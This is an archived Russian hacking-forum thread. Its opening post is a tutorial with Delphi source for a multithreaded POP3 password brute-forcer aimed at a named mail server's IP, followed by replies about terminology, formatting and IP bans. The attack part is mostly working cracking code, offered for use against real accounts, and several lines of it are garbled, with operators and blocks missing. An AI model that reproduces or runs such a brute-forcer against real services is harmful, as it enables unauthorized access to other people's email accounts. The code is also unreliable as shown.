Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Брутфорс на Delphi (https://forum.antichat.xyz/showthread.php?t=100847)

***xaknem*** 12.01.2009 10:54

Брутфорс на Delphi
 
Рассмотрим написание брутфорса на Delphi, с использованием функций WinAPI для работы с сокетом. Переписать на перл, си или асм потом проблем нет никаких - оно все отличается только синтаксисом вызова функций. Также потребуется какой-нибудь telnet-клиент, port-mapper или tcp-logger для исследования ответов сервера.
POP3. 110 порт. Интересующие нас команды - "user" и "pass". Предположим, что надо подобрать пароль на freemail.ukr.net у пользователя dndanil (это мой - специально для экспериментов). Ломанемся по телнету на freemail.ukr.net:110 и введем "user dndanil". Потом "pass password". Посмотрим ответы. Если после оценки скорости желание не отпало, то надо написать прогу, которая будет коннектится к серваку и перебирать пароли с отслеживанием ошибок. Прогу будем писать с учетом продвинутых технологий при создании различных сканеров - многопоточность, т.е. перебирать пароли будут сразу несколько процессов. Так, вроде, быстрей. Для этого надо ввести класс, описывающий наш процесс. Кол-во одновременно запущенных процессов зависит от железа и скорости соединения с инетом. Для перебора будем использовать файл с паролями, который загрузим в TStringList (список строк). Итак, создадим для наглядности окно и влепим туда кнопку "Hack it" :-) и ProgressBar с Win32. Вот исходники с комментариями брутфорсера для POP3-сервера:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;

type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

// Описание процесса
type
TScan = class(TThread)
sock2 : TSocket;
addr:TSockAddrIn;
WSAData : TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;

var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringList с паролями
PassList : TStringList;

const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;

// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
Rez:=false
else
begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.CountProcCount)or(not Rez) then
break;
end;
end;
end;

// Проца инициализации процесса
procedure TScan.Execute;
begin
try
// Запуск цикла
while true do
begin
CScan;
//Выход, если подобрали или закончился словарь
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
//Если все процессы прерваны -
if I00 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Получение при соединении
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]'+') then
exit;
//"user user"
sender('user '+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]'+') then
exit;
//"pass password"
sender('pass '+PassList.Strings[I2]+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
//Если подобралось
if (x>3)and(buf[1]='+') then
begin
Rez:=false;
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
try
closesocket(sock2);
except
end;
except
end;
end;

end.

bombeg 12.01.2009 11:20

перепиши на асм, пожалуйста. хочу посмотреть и взять что-нибудь на заметку!

neprovad 12.01.2009 11:24

терминология хромает, "отпингованый", процессы равнозначные потокам..

neprovad 12.01.2009 11:25

Цитата:

Сообщение от bombeg
перепиши на асм, пожалуйста. хочу посмотреть и взять что-нибудь на заметку!

вам корона голову не жмет? ТС и так постарался как смог.

***xaknem*** 12.01.2009 11:53

bombeg,извини конечно,но переписывать я не буду,кому действительно нужно,может сам переписать...Удачи!

Sn@k3 12.01.2009 11:57

Цитата:

Сообщение от neprovad
терминология хромает, "отпингованый", процессы равнозначные потокам..

умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?

preda1or 12.01.2009 12:26

Хотя бы отформатировал нормально и код и статью, было бы намного лучше)

bombeg 12.01.2009 12:28

Цитата:

Сообщение от Sn@k3
умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?

есть информация ценная, есть информация ради букв.

neprovad 12.01.2009 12:47

Цитата:

Сообщение от Sn@k3
умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?

во-первых, это не херня а информация, на написание которой которой ТС потратил какое-то время.
во-вторых, это форум и каждый волен излагать свои мысли как ему нравится, что я и сделал.
p.s. если тебя бесит - успокойся, выпей валерьянки

_nic 12.01.2009 15:36

Вообще то если так тупо ломится с неподходящими логинами/пассами.То на любом уважающем себя мыльном сервисе айпишник с которого это происходит весьма быстро уйдет в бан.


Время: 17:46